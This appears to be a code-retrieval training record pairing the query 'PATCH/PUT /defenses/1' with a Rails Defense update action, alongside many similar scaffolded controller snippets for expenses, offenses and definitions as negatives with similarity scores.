"def create\n @expense = Expense.new(expense_params)\n if @expense.save\n\t flash[:success] = \"Expense record created\"\n redirect_to @expense\n else\n render 'new'\n end\n end",
"def create\n @shared_expense = SharedExpense.new(shared_expense_params)\n\n respond_to do |format|\n if @shared_expense.save\n format.html { redirect_to root_url, notice: 'Shared expense was successfully created.' }\n format.json { render :show, status: :created, location: @shared_expense }\n else\n format.html { render :new }\n format.json { render json: @shared_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @person_expense_record = PersonExpenseRecord.new(person_expense_record_params)\n\n if @person_expense_record.save\n render json: @person_expense_record, status: :created, location: @person_expense_record\n else\n render json: @person_expense_record.errors, status: :unprocessable_entity\n end\n end",
"def set_defense\n @defense = Defense.find(params[:id])\n end",
"def create\n @operating_expense = OperatingExpense.new(params[:operating_expense])\n\n respond_to do |format|\n if @operating_expense.save\n format.html { redirect_to(@operating_expense, :notice => 'Operating expense was successfully created.') }\n format.xml { render :xml => @operating_expense, :status => :created, :location => @operating_expense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @operating_expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_offense\n @offense = Offense.find(params[:id])\n end",
"def create\n @expense = Expense.new(params[:expense])\n\t\t@expense.user_account_id = current_user.user_account.id\n\t\t\n respond_to do |format|\n if @expense.save\n\t\t\t\tif @expense.wants_points\n\t\t\t\t\tNoticeMailer.matriclick_points_email(current_user, @expense).deliver\n\t\t\t\t\tformat.html {redirect_to points_url, notice: \"Ya tenemos el gasto que acabas de ingresar. Te enviaremos un email luego de validar tus puntos.\"}\n\t\t\t\telse\n format.html { redirect_to expenses_url, notice: 'Expense was successfully created.' }\n\t\t\t\tend\n else\n format.html { render action: \"new\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @offenses = Offense.all\n end",
"def create\n @defset = Defset.new(defset_params)\n\n respond_to do |format|\n if @defset.save\n format.html { redirect_to @defset, notice: 'Defset was successfully created.' }\n format.json { render action: 'show', status: :created, location: @defset }\n else\n format.html { render action: 'new' }\n format.json { render json: @defset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:code, :gasto_id, :documento, :descrip, :importe, :fecha, :document_id,:turno)\n end",
"def create\n\n params[:refill_type] = params[:refill_type].to_i\n params[:status] = params[:status].to_i\n params[:cost_basis] = params[:cost_basis].to_i\n params[:other_coverage_code] = params[:other_coverage_code].to_i\n params[:reason_for_delay] = params[:reason_for_delay].to_i\n params[:partial_fill_status] = params[:partial_fill_status].to_i\n params[:reported_to_pmp] = params[:reported_to_pmp].to_i\n\n @dispense = Dispense.new(dispense_params)\n\n respond_to do |format|\n if @dispense.save\n format.html { redirect_to @dispense, notice: 'Dispense was successfully created.' }\n format.json { render :show, status: :created, location: @dispense }\n else\n format.html { render :new }\n format.json { render json: @dispense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_type = ExpenseType.new(expense_type_params)\n\n respond_to do |format|\n if @expense_type.save\n format.html { redirect_to @expense_type, notice: 'Expense type was successfully created.' }\n format.json { render action: 'show', status: :created, location: @expense_type }\n else\n format.html { render action: 'new' }\n format.json { render json: @expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def depense_params\n params.require(:depense).permit(:title, :value, :date, :checked)\n end",
"def new\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def defense\n total_for(:defense)\n end",
"def update\n respond_to do |format|\n if @defense.update(defense_params)\n format.html { redirect_to @defense, notice: 'Defense was successfully updated.' }\n format.json { render :show, status: :ok, location: @defense }\n else\n format.html { render :edit }\n format.json { render json: @defense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_expense_type = Admin::ExpenseType.new(params[:admin_expense_type])\n\n respond_to do |format|\n if @admin_expense_type.save\n format.html { redirect_to admin_expense_types_url }\n format.json { render json: @admin_expense_type, status: :created, location: @admin_expense_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def deserialize_offenses(offenses); end",
"def expense_params\n params.require(:expense).permit :name, :amount, :date, :account_id, :category_id\n end",
"def expense_params\n params.require(:expense).permit(:date, :description, :amount, :category_id)\n end",
"def create\n @depense = Depense.new(depense_params)\n\n respond_to do |format|\n if @depense.save\n format.html { redirect_to @depense, notice: 'Depense was successfully created.' }\n format.json { render :show, status: :created, location: @depense }\n me = User.find(1)\n me.solde = me.solde - @depense.value\n me.save\n else\n format.html { render :new }\n format.json { render json: @depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @financial_objects_expense = manager.create(financial_objects_expense_params, current_user)\n\n respond_to do |format|\n if @financial_objects_expense.valid?\n format.html { redirect_to @financial_objects_expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @financial_objects_expense }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @financial_objects_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_defense_response\n @defense_response = DefenseResponse.find(params[:id])\n end",
"def expense_params\n params.require(:expense).permit(:description, :comment, :amount, :datetime)\n end",
"def create\n @expense = Expense.new(expense_params)\n @gastos = Gasto.all \n @documents = Document.all\n \n respond_to do |format|\n if @expense.save\n @expense.correlativo\n \n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:name, :amount)\n end",
"def expense_params\n params.require(:expense).permit(:incurred_date, :reimbursed_date, \n :user_id, :account_id, :supplier, :description, :without_vat, \n :vat, :with_vat, :is_mileage, :miles, :mileage_rate, :expense,\n :cost_centre_id, :is_checked)\n end",
"def create\n @construction_expense = ConstructionExpense.new(construction_expense_params)\n\n respond_to do |format|\n if @construction_expense.save\n format.html { redirect_to root_path, notice: 'Construction expense was successfully created.' }\n format.json { render :show, status: :created, location: @construction_expense }\n else\n format.html { render :new }\n format.json { render json: @construction_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:description, :category_id)\n end",
"def index\n @petty_cash_expenses = PettyCashExpense.all\n render json: @petty_cash_expenses\n end",
"def create\n @housing_expense = HousingExpense.new(params[:housing_expense])\n\n respond_to do |format|\n if @housing_expense.save\n flash[:notice] = 'HousingExpense was successfully created.'\n format.html { redirect_to housing_expense_url(@housing_expense) }\n format.xml { head :created, :location => housing_expense_url(@housing_expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @housing_expense.errors.to_xml }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:description, :amount, :user_sub, :category_id, :title, :date)\n end",
"def create\r\n @fixed_deposit_investment = FixedDepositInvestment.new(fixed_deposit_investment_params)\r\n\r\n respond_to do |format|\r\n if @fixed_deposit_investment.save\r\n format.html { redirect_to @fixed_deposit_investment, notice: 'Fixed deposit investment was successfully created.' }\r\n format.json { render :show, status: :created, location: @fixed_deposit_investment }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @fixed_deposit_investment.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n\n # authenticate request\n if auth_user\n\n #check we have everything we need!\n if params[:date] && params[:amount] && params[:category] && valid_date? && valid_amount?\n @new_expense = Expense.create(category: params[:category], date: params[:date], amount: params[:amount], user_id: @user.id)\n render json: { message: \"Good going! You made an expense for $#{params[:amount]}\", object: @new_expense }, status: 200\n else\n # tell user what they haven't provided correctly\n whats_not_supplied(params) \n end\n\n else\n # request not authenticated\n return render json: { message: \"Invalid Token\", status: 400}, status: 400\n end\n\n end",
"def new\n @statement = Statement.find(params[:statement_id])\n @expense = Expense.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @expense }\n end\n end",
"def expense_params\n params.require(:expense).permit(:amount, :description, :spent_at)\n end",
"def expense_params\n params.require(:expense).permit(:expense, :cost, :category_id, :amount, :gains, :date, :descripton)\n end",
"def create\n @expense = Expense.new(params[:expense])\n @workflow = Workflow.find(params[:wid])\n\n respond_to do |format|\n if @expense.save\n @workflow.expense=@expense\n @workflow.update_attributes(:status => \"finished\")\n @workflow.repairmen.each do |re|\n re.user.update_attributes(:status => 'idle')\n end\n format.html { redirect_to workflow_flow_workflows_path, notice: 'Expense was successfully created.' }\n format.json { render :json => @expense, :status => :created }\n else\n #format.html { render action: \"new\" }\n format.json { render :json => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @defense.destroy\n respond_to do |format|\n format.html { redirect_to defenses_url, notice: 'Defense was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def create\n @monthly_expense = MonthlyExpense.new(monthly_expense_params)\n\n respond_to do |format|\n if @monthly_expense.save\n format.html { redirect_to @monthly_expense, notice: \"Monthly expense was successfully created.\" }\n format.json { render :show, status: :created, location: @monthly_expense }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @monthly_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n respond_to do |format|\n\n if @expense.save\n format.html { redirect_to @expense, notice: 'Expense was successfully created.' }\n format.html { render :show, status: :created, location: @expense }\n end\n\n if expense_params.key?('insurance_attributes') == false &&\n expense_params.key?('break_attributes') == false &&\n expense_params.key?('damage_attributes') == false &&\n expense_params.key?('owner_take_attributes') == false\n format.html { render :new }\n end\n if expense_params.key?('insurance_attributes')\n format.html { render :insurance_fields }\n end\n if expense_params.key?('break_attributes')\n format.html { render :break_fields }\n end\n if expense_params.key?('damage_attributes')\n format.html { render :damage_fields }\n end\n if expense_params.key?('owner_take_attributes')\n format.html { render :owner_take_fields }\n end\n\n end\n end",
"def create\n expense_details = expense_params\n\n expense_details[:amount] = correct_value(expense_details[:amount])\n\n @expense = Expense.new(expense_details)\n\n if @expense.save\n\n association = {\n :expense_id => @expense[:id],\n :tag_id => tag_params[:id],\n }\n\n expense_tag_association = ExpensesTagsAssociation.new(association)\n expense_tag_association.save\n\n redirect_to expenses_path, notice: (I18n.t 'Expense was successfully created.')\n else\n render action: \"new\"\n end\n end",
"def expenses\n @expenses ||= Harvest::API::Expenses.new(credentials)\n end",
"def create\n @food_donation = current_user.food_donations.new(food_donation_params)\n # set donation's status to available\n @food_donation.status = 0\n respond_to do |format|\n if @food_donation.save\n format.html { redirect_to food_donations_path, notice: 'Food donation was successfully created.'}\n format.json { render :show, status: :created, location: @food_donation }\n else\n format.html { render :new }\n format.json { render json: @food_donation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_tracker = ExpenseTracker.new(expense_tracker_params)\n\n respond_to do |format|\n if @expense_tracker.save\n format.html { redirect_to @expense_tracker, notice: 'Expense tracker was successfully created.' }\n format.json { render :show, status: :created, location: @expense_tracker }\n else\n format.html { render :new }\n format.json { render json: @expense_tracker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @definition = Definition.new(definition_params)\n\n respond_to do |format|\n if @definition.save\n format.html { redirect_to @definition.dictionary, notice: 'Definition was successfully created.' }\n format.json { render :show, status: :created, location: @definition }\n else\n format.html { render :new }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @offense.update(offense_params)\n format.html { redirect_to @offense, notice: 'Offense was successfully updated.' }\n format.json { render :show, status: :ok, location: @offense }\n else\n format.html { render :edit }\n format.json { render json: @offense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @definition = Definition.new(params[:definition])\n\n respond_to do |format|\n if @definition.save\n format.html { redirect_to @definition, notice: 'Definition was successfully created.' }\n format.json { render json: @definition, status: :created, location: @definition }\n else\n format.html { render action: \"new\" }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @farmexpense = Farmexpense.new(params[:farmexpense])\n @farmexpense.user_id = session[:s_user_id]\n @farmexpense.farm_id = session[:s_farm_id]\n respond_to do |format|\n if @farmexpense.save\n format.html { redirect_to(:controller => \"farms\", :action => \"edit\", :id => session[:s_farm_id], :notice => 'farm expense was successfully updated.') }\n format.xml { render :xml => @farmexpense, :status => :created, :location => @farmexpense }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @farmexpense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def expense_params\n params.require(:expense).permit(:user_id, :date, :reseller, :item_or_service, :payment_form, :charged_to, :cost, :amount_from_budget, :notes, :document)\n end",
"def expense_params\n params.require(:expense).permit(:user_id, :amount, :created_at, :description, category_ids: [])\n end",
"def index\n @expenses = Expense.all\n respond_with @expenses\n end",
"def expense_params\n params.require(:expense).permit(:amount, :to, :note, :category_id, :subcategory_id, :date, :tag_list)\n end",
"def create\n @definition = Definition.new(definition_params)\n\n respond_to do |format|\n if @definition.save\n format.html { redirect_to @definition, notice: \"Definition was successfully created.\" }\n format.json { render :show, status: :created, location: @definition }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = @current_user.expenses.create(params[:expense])\n params[:expense][:categories].each do |category_id|\n category_id = category_id.to_i\n if category_id > 0\n @expense.categories << Category.find(category_id)\n end\n end\n respond_to do |format|\n if @expense.save\n flash[:notice] = 'Expense was successfully created.'\n format.html { redirect_to(@expense) }\n format.xml { render :xml => @expense, :status => :created, :location => @expense }\n format.iphone { redirect_to(@expense) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n format.iphone { render :action => \"new\" }\n end\n end\n end",
"def create\n @utility_expense = UtilityExpense.new(utility_expense_params)\n\n respond_to do |format|\n if @utility_expense.save\n format.html { redirect_to @utility_expense, notice: 'Utility expense was successfully created.' }\n format.json { render :show, status: :created, location: @utility_expense }\n else\n format.html { render :new }\n format.json { render json: @utility_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @api_v1_expenses = Api::V1::Expense.all\n end",
"def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def create\n render json: Beverage.create!(beverage_post_params), status: :created\n end",
"def set_dog_expense\n @dog_expense = DogExpense.find(params[:id])\n end",
"def create\n @food_expenditure = FoodExpenditure.new(food_expenditure_params)\n\n respond_to do |format|\n if @food_expenditure.save\n current_user.food_expenditures << @food_expenditure\n @food_expenditure.update_user_accounts(current_user)\n format.html { redirect_to @food_expenditure, notice: 'FoodExpenditure was successfully created.' }\n format.json { render :show, status: :created, location: @food_expenditure }\n else\n format.html { render :new }\n format.json { render json: @food_expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n @expense.author_id = current_user.id\n\n respond_to do |format|\n if @expense.save\n # p params[:expense][:group_id]\n group_id = params[:expense][:group_id]\n GroupsExpense.create(group_id: group_id, expense_id: @expense.id) if group_id\n\n format.html { redirect_to expenses_path, notice: 'Expense added.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense = Expense.new(expense_params)\n if @expense.date == nil\n @expense.date = Time.now\n end\n\n @user = User.all.first\n if @expense.gains\n @user.current_balance = @user.current_balance + @expense.amount\n else\n @user.current_balance = @user.current_balance - @expense.amount\n end\n @user.save\n\n respond_to do |format|\n if @expense.save\n format.html { redirect_to '/expenses', notice: 'Expense was successfully created.' }\n format.json { render :show, status: :created, location: @expense }\n else\n format.html { render :new }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6828333",
"0.66891485",
"0.6661024",
"0.6627724",
"0.6517853",
"0.64565474",
"0.6436841",
"0.6415493",
"0.638892",
"0.63604337",
"0.6293899",
"0.6290302",
"0.6284612",
"0.61891246",
"0.61451745",
"0.61402446",
"0.60999316",
"0.60911024",
"0.60643226",
"0.6062161",
"0.60494304",
"0.6047953",
"0.6039474",
"0.60187656",
"0.60051405",
"0.60015845",
"0.5999308",
"0.59939337",
"0.59751135",
"0.5974632",
"0.59605396",
"0.59355336",
"0.5925474",
"0.5915183",
"0.5912539",
"0.59103477",
"0.59077185",
"0.5889526",
"0.5871917",
"0.5856227",
"0.5832288",
"0.58228374",
"0.5816352",
"0.5812135",
"0.5808999",
"0.5805667",
"0.5801068",
"0.58002394",
"0.57951796",
"0.57887137",
"0.57804865",
"0.57803905",
"0.57762545",
"0.57716227",
"0.57542723",
"0.57517517",
"0.5749015",
"0.5745891",
"0.5741674",
"0.57359976",
"0.57165617",
"0.5712263",
"0.570553",
"0.5705361",
"0.569276",
"0.5692544",
"0.56914836",
"0.5689436",
"0.568634",
"0.56819755",
"0.56784016",
"0.56775284",
"0.56759197",
"0.56742996",
"0.56687826",
"0.56634015",
"0.565866",
"0.5654364",
"0.5651108",
"0.5648937",
"0.56474656",
"0.56409866",
"0.5634864",
"0.5627073",
"0.5622988",
"0.56213266",
"0.56185704",
"0.5612999",
"0.561122",
"0.5594642",
"0.5593698",
"0.55933326",
"0.55926615",
"0.5591132",
"0.5586956",
"0.5585186",
"0.55824494",
"0.55808645",
"0.55771846",
"0.5576226"
] |
0.7049325
|
0
|
PATCH/PUT /defenses/1 PATCH/PUT /defenses/1.json
|
def update
respond_to do |format|
if @defense.update(defense_params)
format.html { redirect_to @defense, notice: 'Defense was successfully updated.' }
format.json { render :show, status: :ok, location: @defense }
else
format.html { render :edit }
format.json { render json: @defense.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n respond_to do |format|\n if @api_v1_expense.update(api_v1_expense_params)\n format.html { redirect_to @api_v1_expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_expense }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_with Expense.update(params[:id], expense_params), status: 204\n end",
"def update\n respond_to do |format|\n if @offense.update(offense_params)\n format.html { redirect_to @offense, notice: 'Offense was successfully updated.' }\n format.json { render :show, status: :ok, location: @offense }\n else\n format.html { render :edit }\n format.json { render json: @offense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find params.fetch(:id)\n\n if @expense.update(expense_params)\n render json: @expense\n else\n render json: @expense.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @defset.update(defset_params)\n format.html { redirect_to @defset, notice: 'Defset was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @defset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to expenses_url, notice: 'Expense was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n #format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :ok }\n else\n #format.html { render action: \"edit\" }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to expenses_path, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to '/expenses', notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solideo_depense.update(solideo_depense_params)\n format.html { redirect_to solideo_depenses_path, notice: 'Solideo depense was successfully updated.' }\n format.json { render :show, status: :ok, location: @solideo_depense }\n else\n format.html { render :edit }\n format.json { render json: @solideo_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expenses_file.update(expenses_file_params)\n format.html { redirect_to @expenses_file, notice: 'Expenses file was successfully updated.' }\n format.json { render :show, status: :ok, location: @expenses_file }\n else\n format.html { render :edit }\n format.json { render json: @expenses_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to edit_expense_path(@expense), notice: 'Expense was successfully updated.' }\n format.json { render :edit, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @depense.update(depense_params)\n format.html { redirect_to @depense, notice: 'Depense was successfully updated.' }\n format.json { render :show, status: :ok, location: @depense }\n else\n format.html { render :edit }\n format.json { render json: @depense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to @expense, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n if @definition.update_attributes(params[:definition])\n format.html { redirect_to @definition, notice: 'Definition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @definition = Definition.find(params[:id])\n\n respond_to do |format|\n if @definition.update_attributes(params[:definition])\n format.html { redirect_to @definition, notice: 'Definition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to :json\n\n if @expense_claim.update(expense_claim_params)\n head :ok\n else\n render partial: 'expense_claim_key_data', layout: false, status: :ok, locals: { expense_claim: @expense_claim }\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.json { head :ok }\n format.js\n else\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n respond_to do |format|\n if @dog_expense.update(dog_expense_params)\n format.html { redirect_to @dog_expense, notice: 'Dog expense was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @dog_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_to :back, notice: 'Expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { redirect :back}\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @food_expenditure.update(food_expenditure_params)\n @food_expenditure.update_attributes(:edit_able=>false)\n format.html { redirect_to @food_expenditure, notice: 'FoodExpenditure was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_expenditure }\n else\n format.html { render :edit }\n format.json { render json: @food_expenditure.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fact.update(fact_params)\n format.html { redirect_to :back }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @expense\n @expense.updated_by = current_user\n respond_to do |format|\n if @expense.update(expense_params)\n format.html { redirect_back_or_default expenses_url, t('Record has been saved') }\n format.json { render :show, status: :ok, location: @expense }\n else\n format.html { render :edit }\n format.json { render json: @expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @petty_cash_expense.update(petty_cash_expense_params)\n format.json { render :show, status: :ok, location: @petty_cash_expense }\n else\n format.json { render json: @petty_cash_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @definition = Definition.find(params[:id])\n @definition.update_attributes(params[:definition])\n respond_with @definition\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense, :notice => 'Expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n format.html { redirect_to(@expense, :notice => 'Expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: \"Piatto aggiornato correttamente.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @rec_expense.update(rec_expense_params)\n format.html { redirect_to @rec_expense, notice: 'Rec expense was successfully updated.' }\n format.json { render :show, status: :ok, location: @rec_expense }\n else\n format.html { render :edit }\n format.json { render json: @rec_expense.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @farmexpense = Farmexpense.find(params[:id])\n\n respond_to do |format|\n if @farmexpense.update_attributes(params[:farmexpense])\n format.html { redirect_to(:controller => \"farms\", :action => \"edit\", :id => session[:s_farm_id], :notice => 'farm expense was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @farmexpense.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @definition.update(definition_params)\n format.html { redirect_to @definition, notice: 'Definition was successfully updated.' }\n format.json { render :show, status: :ok, location: @definition }\n else\n format.html { render :edit }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @expense = Expense.find(params[:id])\n @expense.reset\n respond_to do |format|\n if @expense.update_attributes(params[:expense])\n\n flash[:notice] = 'Expense was successfully updated.'\n format.html { redirect_to expense_url(@expense) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @expense.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expensesbasis.update(expensesbasis_params)\n format.html { redirect_to [@post, @expensesbasis], notice: 'Expensesbase was successfully updated.' }\n format.json { render :show, status: :ok, location: @expensesbasis }\n else\n format.html { render :edit }\n format.json { render json: @expensesbasis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @expense_type.update(expense_type_params)\n format.html { redirect_to @expense_type, notice: 'Expense type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @expense_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @definition.update(definition_params)\n format.html { redirect_to @definition, notice: \"Definition was successfully updated.\" }\n format.json { render :show, status: :ok, location: @definition }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @definition.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @etat_depense.update(etat_depense_params)\n format.html { redirect_to etat_depenses_path, notice: 'Etat depense was successfully updated.' }\n format.json { render :show, status: :ok, location: @etat_depense }\n else\n format.html { render :edit }\n format.json { render json: @etat_depense.errors, status: :unprocessable_entity }\n end\n end\n end",
